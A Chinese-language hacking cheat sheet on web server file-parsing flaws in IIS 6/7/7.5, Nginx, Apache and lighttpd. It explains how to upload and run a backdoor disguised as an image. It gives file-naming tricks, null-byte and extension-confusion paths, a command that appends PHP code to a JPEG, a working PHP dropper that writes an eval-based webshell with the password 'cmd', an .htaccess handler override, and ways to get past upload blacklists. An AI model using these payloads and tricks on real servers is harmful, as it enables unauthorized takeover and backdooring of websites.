1. 目录解析:/xx.asp/xx.jpg xx.jpg可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码。(或者在fider里面如果有topath的话尝试,直接加目录传Jpg)
比如 在网站下建立文件夹的名字为 .asp、.asa 的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行。
解析漏洞
例如创建目录 wooyun.asp,那么
/wooyun.asp/1.jpg
将被当作asp文件来执行。假设黑阔可以控制上传文件夹路径,就可以不管你上传后你的图片改不改名都能拿shell了。
2.IIS6.0 会将 xx.jpg 解析为 asp 文件。
在IIS6.0下,分号后面的不被解析,也就是说
wooyun.asp;.jpg 会被服务器看成是wooyun.asp
后缀解析:/xx.asp;.jpg /xx.asp:.jpg(此处需抓包修改文件名)
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去,剩下/xx.asp}
3.默认解析:/xx.asa /xx.cer /xx.cdx
IIS6.0 默认的可执行文件除了 asp 还包含这三种
此处可联系利用目录解析漏洞 /xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg
[+]IIS 7.0/IIS 7.5/Nginx <8.03
IIS 7.0/IIS 7.5/Nginx <8.03
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面加上/xx.php会将 /xx.jpg/xx.php 解析为 php 文件。
常用利用方法: 将一张图和一个写入后门代码的文本文件合并 将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。
然后就在图片目录下生成一句话木马 shell.php 密码 cmd
2. IIS7.5漏洞还包括,a.aspx.a;.a.aspx.jpg..jpg 以这种方式命名木马文件。
[+]Nginx <8.03
在Fast-CGI关闭的情况下,Nginx <8.03依然存在解析漏洞
在一个文件路径(/xx.jpg)后面加上%00.php会将 /xx.jpg%00.php 解析为 php 文件。
[+]Apache
1.后缀解析:test.php.x1.x2.x3
Apache将从右至左开始判断后缀,若x3非可识别后缀,再判断x2,直到找到可识别后缀为止,然后将该可识别后缀进解析
test.php.x1.x2.x3 则会被解析为php
经验之谈:php|php3|phtml 多可被Apache解析
2.Apache 是从右到左开始判断解析,如果为不可识别解析,就再往左判断.
比如 wooyun.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把wooyun.php.owf.rar解析成php.
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝试上传一个wooyun.php.rara.jpg.png…(把你知道的常见后缀都写上…)去测试是否是合法后缀
[+]其他一些可利用的
在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的,若这样命名,windows会默认除去空格或点,这也是可以被利用的!
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可得到shell。
我记得Fck Php 2.6就存在加空格绕过的漏洞。{Linux主机中不行,Linux允许这类文件存在}
如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说的,当初我并不知道),且可以被上传,
那可以尝试在.htaccess中写入:
<FilesMatch “shell.jpg”> SetHandler application/x-httpd-php </FilesMatch>
shell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件
[+]lighttpd
xx.jpg/xx.php
[Add by loser]
http://drops.wooyun.org/papers/539
http://www.yunsec.net/a/security/web/jbst/2012/0903/11311.html